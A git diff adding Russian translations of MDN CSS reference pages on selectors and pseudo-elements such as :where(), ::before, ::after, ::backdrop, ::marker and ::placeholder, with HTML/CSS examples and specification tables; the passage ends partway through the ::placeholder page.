Возьмем следующий HTML-код:

+ +
<article>
+  <h2>:is()-styled links</h2>
+  <section class="is-styling">
+    <p>Here is my main content. This <a href="https://mozilla.org">contains a link</a>.
+  </section>
+
+  <aside class="is-styling">
+    <p>Here is my aside content. This <a href="https://developer.mozilla.org">also contains a link</a>.
+  </aside>
+
+  <footer class="is-styling">
+    <p>This is my footer, also containing <a href="https://github.com/mdn">a link</a>.
+  </footer>
+</article>
+
+<article>
+  <h2>:where()-styled links</h2>
+  <section class="where-styling">
+    <p>Here is my main content. This <a href="https://mozilla.org">contains a link</a>.
+  </section>
+
+  <aside class="where-styling">
+    <p>Here is my aside content. This <a href="https://developer.mozilla.org">also contains a link</a>.
+  </aside>
+
+  <footer class="where-styling">
+    <p>This is my footer, also containing <a href="https://github.com/mdn">a link</a>.
+  </footer>
+</article>
+ +

В примере выше у нас представлено две статьи, каждая из которых содержит следующиее блоки: section, aside и footer. Каждый из блоков имеет свой CSS-класс.

+ +

Теперь при помощи псевдоклассов :is() и :where() зададим цвет для ссылок в простой форме, как в примере ниже:

+ +
html {
+  font-family: sans-serif;
+  font-size: 150%;
+}
+
+:is(section.is-styling, aside.is-styling, footer.is-styling) a {
+  color: red;
+}
+
+:where(section.where-styling, aside.where-styling, footer.where-styling) a {
+  color: orange;
+}
+ +

Что если позже мы захотим переопределить цвет ссылок в footer'ах используя простой селектор?

+ +
footer a {
+  color: blue;
+}
+ +

Это не будет работать для ссылок красного цвета, потому что специфичность селекторов внутри :is() выше, чем специфичность селектора вышеприведенного кода. Селектор классов имеет бо́льшую специфичность, чем селектор элемента.

+ +

В то время как, селекторы перечисленные внутри :where() имеют нулевую специфичность, поэтому оранжевая ссылка в футере будет переопределена простым селектором и станет синего цвета.

+ +

Примечание: Вы так же можете найти этот пример на Github; смотрите is-where.

+ +

{{EmbedLiveSample('Examples', '100%', 600)}}

+ +

Синтаксис

+ +
{{CSSSyntax}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#zero-matches", ":where()")}}{{Spec2("CSS4 Selectors")}}Initial definition.
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("css.selectors.where")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html new file mode 100644 index 0000000000..6041a30f4b --- /dev/null +++ b/files/ru/web/css/_doublecolon_-moz-progress-bar/index.html @@ -0,0 +1,50 @@ +--- +title: '::-moz-progress-bar' +slug: 'Web/CSS/::-moz-progress-bar' +translation_of: 'Web/CSS/::-moz-progress-bar' +--- +
 
+ +
{{CSSRef}}{{Non-standard_header}}
+ +

Представляет собой индикатор прогресса внутри {{HTMLElement("progress")}} (Бар, отражающий текущий прогресс).

+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML

+ +
<progress value="30" max="100">30%</progress>
+<progress max="100">Неопределенный бар прогресса</progress>
+ +

CSS

+ +
::-moz-progress-bar {
+  background-color: red;
+}
+
+/* Задает неопределенным барам нулевую ширину */
+:indeterminate::-moz-progress-bar {
+  width: 0;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Examples')}}

+ +

Первый бар сверху должен выглядеть так:

+ +

Custom styled progress bar

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_doublecolon_-webkit-slider-thumb/index.html b/files/ru/web/css/_doublecolon_-webkit-slider-thumb/index.html new file mode 100644 index 0000000000..086ccfa4ab --- /dev/null +++ b/files/ru/web/css/_doublecolon_-webkit-slider-thumb/index.html @@ -0,0 +1,28 @@ +--- +title: '::-webkit-slider-thumb' +slug: 'Web/CSS/::-webkit-slider-thumb' +translation_of: 'Web/CSS/::-webkit-slider-thumb' +--- +
{{CSSRef}}{{Non-standard_header}}
+ +

Описание

+ +

Псевдоэлемент CSS ::-webkit-slider-thumb представляет собой ползунок, передвигаемый пользователем по линейке элемента {{HTMLElement("input")}} типа "range" для изменения числового значения атрибута value.

+ +

Спецификация

+ +

Не является частью какой либо спецефикации. Это проприетарный псевдоэлемент исключительно для WebKit/Blink.

+ +

См. также

+ + diff --git a/files/ru/web/css/_doublecolon_after/index.html b/files/ru/web/css/_doublecolon_after/index.html new file mode 100644 index 0000000000..e21cc2fe93 --- /dev/null +++ b/files/ru/web/css/_doublecolon_after/index.html @@ -0,0 +1,177 @@ +--- +title: '::after (:after)' +slug: 'Web/CSS/::after' +tags: + - CSS + - Layout + - Reference + - Web + - Псевдоэлементы +translation_of: 'Web/CSS/::after' +--- +
{{CSSRef}}
+ +

В CSS, ::after создаёт псевдоэлемент, который является последним потомком выбранного элемента. Часто используется для добавления косметического содержимого в элемент с помощью свойства {{cssxref("content")}}. По умолчанию является инлайновым.

+ +
/* Добавить стрелки после ссылок */
+a::after {
+  content: "→";
+}
+ +
+

Примечание: Псведоэлементы, созданные с помощью ::before и ::after содержатся в блоке форматирования элемента, и поэтому не применяются к замещаемым элементам, таким как {{htmlelement("img")}} или {{htmlelement("br")}}.

+
+ +

Синтаксис

+ +
{{csssyntax}}
+ +
+

В CSS3 появилась запись ::after (с двумя двоеточиями) для различения псевдоклассов и псевдоэлементов. Браузеры также поддерживают запись :after, введённую в CSS2.

+
+ +

Примеры

+ +

Простое использование

+ +

Давайте создадим два класса, один для скучных параграфов и один для потрясающих. Затем мы сможем отметить каждый параграф добавлением псевдоэлемента в его конец.

+ +

HTML

+ +
<p class="boring-text">Вот простой скучный текст.</p>
+<p>Вот нормальный текст, который не является ни скучным, ни потрясающим.</p>
+<p class="exciting-text">Помогать MDN легко и весело.
+Просто нажмите кнопку редактирования, чтобы добавить новые живые примеры, или улучшить существующие примеры.</p>
+ +

CSS

+ +
.exciting-text::after {
+  content: "<- теперь это *просто* потрясающе!";
+  color: green;
+}
+
+.boring-text::after {
+   content: "<- СКУЧНО!";
+   color: red;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Простое_использование', 500, 150)}}

+ +

Пример оформления

+ +

Можно стилизовать текст или изображения в свойстве {{cssxref("content")}} практически любым способом.

+ +

HTML

+ +
<span class="ribbon">Посмотрите, где находится оранжевый прямоугольник.</span>
+ +

CSS

+ +
.ribbon {
+  background-color: #5BC8F7;
+}
+
+.ribbon::after {
+  content: "Посмотрите на этот оранжевый прямоугольник.";
+  background-color: #FFBA10;
+  border-color: black;
+  border-style: dotted;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Пример_оформления', 450, 20)}}

+ +

Подсказки

+ +

Следующий пример показывает использование псевдоэлемента ::after в сочетании с CSS-выражением attr() и пользовательского data-* атрибута data-descr для создания подсказки на чистом CSS.

+ +

HTML

+ +
<p>Здесь находится живой пример вышеприведённого кода.<br />
+  У нас есть некоторый <span data-descr="коллекция слов и знаков препинаний">текст</span> здесь с несколькими
+  <span data-descr="маленькие всплывающие окошки, которые снова исчезают">подсказками</span>.<br />
+  Не стесняйтесь, наводите мышку чтобы <span data-descr="не понимать буквально">взглянуть</span>.
+</p>
+
+ +

CSS

+ +
span[data-descr] {
+  position: relative;
+  text-decoration: underline;
+  color: #00F;
+  cursor: help;
+}
+
+span[data-descr]:hover::after {
+  content: attr(data-descr);
+  position: absolute;
+  left: 0;
+  top: 24px;
+  min-width: 200px;
+  border: 1px #aaaaaa solid;
+  border-radius: 10px;
+  background-color: #ffffcc;
+  padding: 12px;
+  color: #000000;
+  font-size: 14px;
+  z-index: 1;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Подсказки', 450, 120)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Pseudo-Elements', '#selectordef-after', '::after')}}{{Spec2('CSS4 Pseudo-Elements')}}Нет значительных изменений по сравнению с предыдущей версией спецификации.
{{Specname("CSS3 Transitions", "#animatable-properties", "transitions on pseudo-element properties")}}{{Spec2("CSS3 Transitions")}}Разрешает переходы для свойств, определённых в псевдоэлементах.
{{Specname("CSS3 Animations", "", "animations on pseudo-element properties")}}{{Spec2("CSS3 Animations")}}Разрешает анимации на свойствах, определённых в псевдоэлементах.
{{SpecName('CSS3 Selectors', '#gen-content', '::after')}}{{Spec2('CSS3 Selectors')}}Введение синтаксиса с двумя двоеточиями.
{{SpecName('CSS2.1', 'generate.html#before-after-content', '::after')}}{{Spec2('CSS2.1')}}Изначальное определение, используя синтаксис с одним двоеточием.
+ +

Поддержка браузерами

+ +
+

{{Compat("css.selectors.after")}}

+
+ +

См. также

+ + diff --git a/files/ru/web/css/_doublecolon_backdrop/index.html b/files/ru/web/css/_doublecolon_backdrop/index.html new file mode 100644 index 0000000000..d95ee81c9e --- /dev/null +++ b/files/ru/web/css/_doublecolon_backdrop/index.html @@ -0,0 +1,82 @@ +--- +title: '::backdrop' +slug: 'Web/CSS/::backdrop' +tags: + - API + - CSS + - Dialog + - Fullscreen API + - HTML DOM + - Полный экран + - Псевдо-элемент + - Разметка + - диалоговое окно + - полноэкранный режим +translation_of: 'Web/CSS/::backdrop' +--- +
{{CSSRef}}
+ +

CSS псевдо-элемент ::backdrop это прямоугольник с размерами {{Glossary("viewport", "окна")}}, который отрисовывается сразу же после отрисовки любого элемента в полноэкранном режиме. Это включает элементы, установленные в полноэкранный режим с помощью Fullscreen API и элементы {{HTMLElement("dialog")}}.

+ +

Когда несколько элементов находятся в полноэкранном режиме, подложка появляется под тем из них, который находится на переднем плане и над всеми остальными.

+ +
/* Подложка показывается только тогда, когда диалоговое окно открыто с помощью метода dialog.showModal() */
+dialog::backdrop {
+  background: rgba(255,0,0,.25);
+}
+ +

Все полноэкранные элементы появляются в порядке last-in/first out (LIFO - последним пришёл - первым ушёл) на специальном верхнем слое окна, который всегда отрисовывается последним (поэтому поверх остальных) до отрисовки содержимого окна. Псевдо-элемент ::backdrop позволяет затемнить, стилизовать или полностью спрятать всё, что находится под элементом, когда он находится на этом верхнем слое.

+ +

::backdrop не наследует от других элементов и другие элементы не могут от него наследовать. Нет никаких ограничений на свойства, которые можно применять к этому псевдо-элементу.

+ +

Синтаксис

+ +
{{CSSSyntax}}
+ +

Примеры

+ +

В этом примере, стиль подложки при открытии видео в полноэкранном режиме делаёт её серо-голубой, а не серой, какой она является по стандарту в большинстве браузеров.

+ +
video::backdrop {
+  background-color: #448;
+}
+
+ +

В результате окно выглядит так:

+ +

+ +

Обратите внимание на эффект серо-голуых полей сверху и снизу, где подложка видна. Обычно эта область чёрная, но её цвет изменён с помощью CSS кода выше.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Fullscreen', '#::backdrop-pseudo-element', '::backdrop')}}{{Spec2('Fullscreen')}}Впервые определено.
+ +

Поддержка браузерами

+ +
+

{{Compat("css.selectors.backdrop")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_doublecolon_before/index.html b/files/ru/web/css/_doublecolon_before/index.html new file mode 100644 index 0000000000..d8acf664a9 --- /dev/null +++ b/files/ru/web/css/_doublecolon_before/index.html @@ -0,0 +1,234 @@ +--- +title: '::before (:before)' +slug: 'Web/CSS/::before' +tags: + - CSS + - Layout + - Reference + - Web + - Псевдоэлементы +translation_of: 'Web/CSS/::before' +--- +
{{CSSRef}}
+ +

В CSS, ::before создаёт псевдоэлемент,который является первым потомком выбранного элемента. Часто используется для добавления косметического содержимого в элемент с помощью свойства {{cssxref("content")}}. По умолчания является инлайновым.

+ +
/* Добавить сердце перед ссылками */
+a::before {
+  content: "♥";
+}
+ +
+

Примечание: Псведоэлементы, созданные с помощью ::before и ::after содержатся в блоке форматирования элемента, и поэтому не применяются к замещаемым элементам, таким как {{htmlelement("img")}} или {{htmlelement("br")}}.

+
+ +

Синтаксис

+ +
{{csssyntax}}
+ +
+

В CSS3 появилась запись ::before (с двумя двоеточиями) для различения псевдоклассов и псевдоэлементов. Браузеры также поддерживают запись :before, введённую в CSS2.

+
+ +

Примеры

+ +

Добавление кавычек

+ +

Этот простой пример использования псевдоэлементов ::before позволяет добавлять кавычки. Здесь используется как псевдоэлемент ::before, так и {{Cssxref("::after")}}.

+ +

HTML

+ +
<q>Немного кавычек</q>, как он сказал, <q>лучше чем ничего.</q>
+ +

CSS

+ +
q::before {
+  content: "«";
+  color: blue;
+}
+
+q::after {
+  content: "»";
+  color: red;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Добавление_кавычек', '500', '50', '')}}

+ +

Пример оформления

+ +

Можно стилизовать текст или изображения в свойстве {{cssxref("content")}} практически любым способом.

+ +

HTML

+ +
<span class="ribbon">Посмотрите, где находится оранжевый прямоугольник.</span>
+ +

CSS

+ +
.ribbon {
+  background-color: #5BC8F7;
+}
+
+.ribbon::before {
+  content: "Посмотрите на этот оранжевый прямоугольник.";
+  background-color: #FFBA10;
+  border-color: black;
+  border-style: dotted;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Пример_оформления', 450, 60)}}

+ +

Список дел

+ +

В этом примере мы создадим простой список дел,используя псевдоэлементы. Этот метод часто применяется для добавления небольших штрихов в пользовательский интерфейс и улучшения впечатления пользователей.

+ +

HTML

+ +
<ul>
+  <li>Купить молока</li>
+  <li>Сходить на прогулку с собакой</li>
+  <li>Тренироваться</li>
+  <li>Написать код</li>
+  <li>Слушать музыку</li>
+  <li>Отдыхать</li>
+</ul>
+
+ +

CSS

+ +
li {
+  list-style-type: none;
+  position: relative;
+  margin: 2px;
+  padding: 0.5em 0.5em 0.5em 2em;
+  background: lightgrey;
+  font-family: sans-serif;
+}
+
+li.done {
+  background: #CCFF99;
+}
+
+li.done::before {
+  content: '';
+  position: absolute;
+  border-color: #009933;
+  border-style: solid;
+  border-width: 0 0.3em 0.25em 0;
+  height: 1em;
+  top: 1.3em;
+  left: 0.6em;
+  margin-top: -1em;
+  transform: rotate(45deg);
+  width: 0.5em;
+}
+ +

JavaScript

+ +
var list = document.querySelector('ul');
+list.addEventListener('click', function(ev) {
+  if( ev.target.tagName === 'LI') {
+     ev.target.classList.toggle('done');
+  }
+}, false);
+
+ +

Вот живой пример приведённого выше кода. Заметим, что здесь не используются иконки, а зелёная галочка на самом деле является псевдоэлементом ::before, стилизованном с помощью CSS. Попробуйте выполнить некоторые вещи списка.

+ +

Результат

+ +

{{EmbedLiveSample('Список_дел', 400, 300)}}

+ +

Примечания

+ +

Хотя исправления в Firefox 3.5 не позволяют созданному содержимому вести себя как отдельный предшествующий элемент (согласно спецификации CSS: "Псевдоэлементы :before и :after взаимодействуют с другими элементами... как если бы они были настоящими элементами, добавленными в соответствующий им элемент."), они могут быть использованы для небольшого улучшения в разметке без таблиц (например для центрирования). В предположении, что содержимое, которое необходимо центрировать, уже обёрнуто в некоторый элемент, столбцы перед и после содержимого могут быть добавлены без добавления других элементов (например в данном случае вероятно является более корректным обернуть текст в элемент <span>, как в примере ниже, вместо того чтобы добавлять два пустых элемента <div/> до и после текста). (И всегда устанавливайте ширину плавающего элемента, иначе он не будет плавающим!)

+ +

HTML

+ +
<div class="example">
+<span id="floatme">"Плавающий перед" будет добавлен слева от текста
+и не позволит переполнению этой строки обтекать его снизу.
+Аналогично, "Плавающий после" будет добавлен справа от текста
+и не позволит переполнению этой строки обтекать его снизу.</span>
+</div>
+ +

CSS

+ +
#floatme { float: left; width: 50%; }
+
+/* Чтобы получить пустой столбец достаточно указать шестнадцатеричный код неразрывного пробела \a0 в качестве содержимого (используйте \0000a0, если за этим пробелом следуют другие символы) */
+.example::before {
+  content: "Плавающий перед";
+  float: left;
+  width: 25%
+}
+.example::after {
+  content: "Плавающий после";
+  float: right;
+  width:25%
+}
+
+/* Для стилизации */
+.example::before, .example::after {
+  background: yellow;
+  color: red;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Примечания")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Pseudo-Elements', '#selectordef-before', '::before')}}{{Spec2('CSS4 Pseudo-Elements')}}Нет значительных изменений по сравнению с предыдущей версией спецификации.
{{Specname("CSS3 Transitions", "#animatable-properties", "")}}{{Spec2("CSS3 Transitions")}}Разрешает переходы для свойств, определённых в псевдоэлементах.
{{Specname("CSS3 Animations", "", "")}}{{Spec2("CSS3 Animations")}}Разрешает анимации на свойствах, определённых в псевдоэлементах.
{{SpecName('CSS3 Selectors', '#gen-content', '::before')}}{{Spec2('CSS3 Selectors')}}Введение синтаксиса с двумя двоеточиями.
{{SpecName('CSS2.1', 'generate.html#before-after-content', '::before')}}{{Spec2('CSS2.1')}}Изначальное определение, используя синтаксис с одним двоеточием.
+ +

Поддержка браузерами

+ +
+

{{Compat("css.selectors.before")}}

+
+ +

См. также

+ + diff --git a/files/ru/web/css/_doublecolon_cue/index.html b/files/ru/web/css/_doublecolon_cue/index.html new file mode 100644 index 0000000000..3530a8df68 --- /dev/null +++ b/files/ru/web/css/_doublecolon_cue/index.html @@ -0,0 +1,76 @@ +--- +title: '::cue' +slug: 'Web/CSS/::cue' +translation_of: 'Web/CSS/::cue' +--- +

{{CSSRef}}

+ +

Псевдоэлемент CSS ::cue соответствует репликам WebVTT в выбранном элементе. Он может быть использован для задания стилей титров и других реплик в медиа с VTT треками.

+ +
::cue {
+  color: yellow;
+  font-weight: bold;
+}
+ +

Разрешённые свойства

+ +

Правила с ::cue в селекторе ограничены в использовании CSS свойст следующим списком:

+ + + +

Свойства применяются ко всему набору реплик, как если бы они были единым целым. Единственным исключением является background и его сокращённые свойства, которые прменяются к каждой реплике отдельно, чтобы не создавать блоки, которые занимают неожиданно большие области медиа.

+ +

Синтаксис

+ +
{{CSSSyntax}}
+ +

Пример

+ +

Следующий CSS устанавливает стили для реплик в виде белого цвета текста и полупрозрачного чёрного фона.

+ +
::cue {
+  color: #fff;
+  background-color: rgba(0, 0, 0, 0.6);
+}
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("WebVTT", "#the-cue-pseudo-element", "::cue")}}{{Spec2("WebVTT")}}Изначальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.selectors.cue")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_doublecolon_first-letter/index.html b/files/ru/web/css/_doublecolon_first-letter/index.html new file mode 100644 index 0000000000..b023b36e3b --- /dev/null +++ b/files/ru/web/css/_doublecolon_first-letter/index.html @@ -0,0 +1,133 @@ +--- +title: '::first-letter (:first-letter)' +slug: 'Web/CSS/::first-letter' +tags: + - CSS + - Layout + - Reference + - Псевдоэлементы +translation_of: 'Web/CSS/::first-letter' +--- +
{{CSSRef}}
+ +

CSS псевдоэлемент ::first-letter применяет стили к первой букве первой строки блочного элемента, но только если нету другого предшествующего содержимого (такого как изображения или инлайн таблицы).

+ +
/* Стили для первой буквы элемента <p> */
+p::first-letter {
+  font-size: 130%;
+}
+ +

Может быть непросто определить первую букву элемента:

+ + + +
+

В CSS3 появилась запись  ::first-letter (с двумя двоеточиями) для различения псевдоклассов и псевдоэлементов. Браузеры также поддерживают запись :first-letter, введённую в CSS2.

+
+ +

Разрешённые свойства

+ +

Только небольшое подмножество CSS-свойств может быть использовано с псевдоэлементом ::first-letter:

+ + + +

Синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

Сделаем первую букву каждого абзаца красной и большой.

+ +

HTML

+ +
<p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt
+  ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo
+  dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est.</p>
+<p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.</p>
+<p>Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut
+  aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit
+  esse molestie consequat.</p>
+<p>-Начало специального знака препинания.</p>
+<p>_Начало специального знака препинания.</p>
+<p>"Начало специального знака препинания.</p>
+<p>'Начало специального знака препинания.</p>
+<p>*Начало специального знака препинания.</p>
+<p>#Начало специального знака препинания.</p>
+<p>「特殊的汉字标点符号开头。</p>
+<p>《特殊的汉字标点符号开头。</p>
+<p>“特殊的汉字标点符号开头。</p>
+ +

CSS

+ +
p::first-letter {
+  color: red;
+  font-size: 130%;
+}
+ +

Результат

+ +

{{ EmbedLiveSample('Example', '80%', 420) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS4 Pseudo-Elements', '#first-letter-pseudo', '::first-letter')}}{{ Spec2('CSS4 Pseudo-Elements')}}Обобщает разрешённые свойства до типографических, оформления текста, инлайн свойств разметки, {{cssxref("opacity")}} и {{ cssxref("box-shadow") }}.
{{ SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow with ::first-letter')}}{{ Spec2('CSS3 Text Decoration')}}Разрешает использовать {{cssxref("text-shadow")}} с ::first-letter.
{{ SpecName('CSS3 Selectors', '#first-letter', '::first-letter') }}{{ Spec2('CSS3 Selectors') }}Введение синтаксиса с двумя двоеточиями. Определения поведения в граничных случаях, таких как внутри элементов списка или для некоторых специфичных языков (например Нидерландский диграф IJ).
{{ SpecName('CSS2.1', 'selector.html#first-letter', '::first-letter') }}{{ Spec2('CSS2.1') }}Нет измененений.
{{ SpecName('CSS1', '#the-first-letter-pseudo-element', '::first-letter') }}{{ Spec2('CSS1') }}Изначальное определение, используя синтаксис с одним двоеточием.
+ +

Поддержка браузерами

+ +
+

{{Compat("css.selectors.first-letter")}}

+
+ +

См. также

+ + diff --git a/files/ru/web/css/_doublecolon_first-line/index.html b/files/ru/web/css/_doublecolon_first-line/index.html new file mode 100644 index 0000000000..1a0af1b71b --- /dev/null +++ b/files/ru/web/css/_doublecolon_first-line/index.html @@ -0,0 +1,118 @@ +--- +title: '::first-line (:first-line)' +slug: 'Web/CSS/::first-line' +tags: + - CSS + - Layout + - Reference + - Псевдоэлементы +translation_of: 'Web/CSS/::first-line' +--- +
{{CSSRef}}
+ +

CSS псевдоэлемент ::first-line применяет стили к первой строке блочного элемента. Обратите внимание, что длина первой строки зависит от многих факторов, включая ширину элемента, ширину документа и размер шрифта текста.

+ +
/* Стили для первой строки элемента <p> */
+p::first-line {
+  color: red;
+}
+ +
+

В CSS3 появилась запись ::first-line (с двумя двоеточиями) для различения псевдоклассов и псевдоэлементов. Браузеры также поддерживают запись :first-line, введённую в CSS2.

+
+ +

Разрешённые свойства

+ +

Только небольшое подмножество CSS-свойств может быть использовано с псевдоэлементом ::first-line:

+ + + +

Синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<p>Стили будут применены только к первой строке этого параграфа.
+После этого, весь текст будет отображаться как обычно. Увидели, что я имею в виду?</p>
+
+<span>Первая строка этого элемента не будет стилизована специальным образом
+потому что это не блочный элемент.</span>
+ +

CSS

+ +
::first-line {
+  color: blue;
+  text-transform: uppercase;
+
+
+  /* ПРЕДУПРЕЖДЕНИЕ: НЕ ИСПОЛЬЗУЙТЕ ЭТО */
+  /* Многие свойства запрещены в псевдоэлементах ::first-line */
+  margin-left: 20px;
+  text-indent: 20px;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Пример', 350, 160)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Pseudo-Elements', '#first-line-pseudo', '::first-line')}}{{Spec2('CSS4 Pseudo-Elements')}}Более точно определяет, где ::first-letter может использоваться.
+ Обобщает разрешённые свойства до типографических, оформления текста, инлайн свойств разметки и {{cssxref("opacity")}}.
+ Определяет наследование ::first-letter.
{{SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow with ::first-line')}}{{Spec2('CSS3 Text Decoration')}}Разрешает использовать {{cssxref("text-shadow")}} с ::first-letter.
{{SpecName('CSS3 Selectors', '#first-line', '::first-line')}}{{Spec2('CSS3 Selectors')}}Введение синтаксиса с двумя двоеточиями.
{{SpecName('CSS2.1', 'selector.html#first-line-pseudo', '::first-line')}}{{Spec2('CSS2.1')}}Нет измененений.
{{SpecName('CSS1', '#the-first-line-pseudo-element', '::first-line')}}{{Spec2('CSS1')}}Изначальное определение, используя синтаксис с одним двоеточием.
+ +

Поддержка браузерами

+ +
+

{{Compat("css.selectors.first-line")}}

+
+ +

См. также

+ + diff --git a/files/ru/web/css/_doublecolon_grammar-error/index.html b/files/ru/web/css/_doublecolon_grammar-error/index.html new file mode 100644 index 0000000000..1db392cd80 --- /dev/null +++ b/files/ru/web/css/_doublecolon_grammar-error/index.html @@ -0,0 +1,86 @@ +--- +title: '::grammar-error' +slug: 'Web/CSS/::grammar-error' +tags: + - CSS + - Псевдо-элемент + - Экспериментальные + - селектор +translation_of: 'Web/CSS/::grammar-error' +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

CSS псевдо-элемент ::grammar-error  представляет сегмент текста, который {{glossary("user agent")}} пометил как грамматически неверный.

+ +

Доступные свойства

+ +

Только небольшое подмножество CSS-свойств может быть использовано с псевдоэлементом ::grammar-error :

+ + + +

Синтаксис

+ +
::grammar-error
+ +

Примеры

+ +

Простая проверка грамматики документа

+ +

В этом примере браузеры, поддерживающие псевдоэлемент, выделят грамматические ошибки, применив к ним заданные стили.

+ +

HTML

+ +
<p>My friends is coming to the party tonight.</p>
+ +

CSS

+ +
::grammar-error  {
+  text-decoration: underline red;
+  color: red;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Simple_document_grammar_check', '100%', 60)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Pseudo-Elements', '#selectordef-grammar-error', '::grammar-error')}}{{Spec2('CSS4 Pseudo-Elements')}}Начальное определение.
+ +

Поддержка браузерами

+ +
+ + +

{{Compat("css.selectors.grammar-error")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_doublecolon_marker/index.html b/files/ru/web/css/_doublecolon_marker/index.html new file mode 100644 index 0000000000..e04375066e --- /dev/null +++ b/files/ru/web/css/_doublecolon_marker/index.html @@ -0,0 +1,93 @@ +--- +title: '::marker' +slug: 'Web/CSS/::marker' +translation_of: 'Web/CSS/::marker' +--- +
{{CSSRef}}
+ +

Псевдоэлемент ::marker применяет стили к маркеру элемента списка, которые обычно содержит значок или номер. Работает с любым элементом или псевдоэлементом, к которого установлен display: list-item, например, у такого как {{HTMLElement("li")}} или {{HTMLElement("summary")}}.

+ +
::marker {
+  color: blue;
+  font-size: 1.2em;
+}
+ +

Разрешённые свойства

+ +

Только некоторые CSS-свойства могут быть использованы с ::marker в качестве селектора:

+ + + +
+

The specification states that additional CSS properties may be supported in future.

+
+ +

Syntax

+ +
{{CSSSyntax}}
+ +

Examples

+ +

HTML

+ +
<ul>
+  <li>Peaches</li>
+  <li>Apples</li>
+  <li>Plums</li>
+</ul>
+ +

CSS

+ +
ul li::marker {
+  color: red;
+  font-size: 1.5em;
+}
+ +

Result

+ +

{{EmbedLiveSample('Examples')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Pseudo-Elements', '#marker-pseudo', '::marker')}}{{Spec2('CSS4 Pseudo-Elements')}}No significant change.
{{SpecName('CSS3 Lists', '#marker-pseudo', '::marker')}}{{Spec2('CSS3 Lists')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("css.selectors.marker")}}

+
+ +

See also

+ + diff --git a/files/ru/web/css/_doublecolon_placeholder/index.html b/files/ru/web/css/_doublecolon_placeholder/index.html new file mode 100644 index 0000000000..3f6624206e --- /dev/null +++ b/files/ru/web/css/_doublecolon_placeholder/index.html @@ -0,0 +1,151 @@ +--- +title: '::placeholder' +slug: 'Web/CSS/::placeholder' +tags: + - '::placeholder' + - CSS + - Псевдоэлемент +translation_of: 'Web/CSS/::placeholder' +--- +
{{CSSRef}}
+ +

CSS псевдоэлемент ::placeholder представляет собой текст placeholder в {{HTMLElement("input")}} или {{HTMLElement("textarea")}} элементах.

+ +
::placeholder {
+  color: blue;
+  font-size: 1.5em;
+}
+ +

В ::placeholder можно использовать только те CSS свойства, которые разрешены в псевдоэлементе {{cssxref("::first-line")}}.

+ +
+

Note: В большинстве браузеров по умолчанию placeholder выглядит как полупрозрачный или светлосерый текст.

+
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Красный текст

+ +

HTML

+ +
<input placeholder="Введите что-нибудь!">
+ +

CSS

+ +
input::placeholder {
+  color: red;
+  font-size: 1.2em;
+  font-style: italic;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Красный_текст", 200, 60)}}

+ +

Зелёный текст

+ +

HTML

+ +
<input placeholder="Введите что-нибудь...">
+ +

CSS

+ +
input::placeholder {
+  color: green;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample("Зелёный_текст", 200, 60)}}

+ +

Проблемы доступности

+ +

Цветовой контраст

+ +

Контрастность

+ +

Текст placeholder обычно имеет более светлую расцветку и содержит информацию о том, какие введённые данные будут допустимы, но при этом не является текущими введёнными данными.

+ +

Важно обеспечить достаточный цветовой контраст между placeholder и фоном, чтобы люди со слабым зрением могли его прочитать, но при этом должна быть достаточная разница между введённым текстом и текстом placeholder, чтобы пользователь не путал их.

+ +

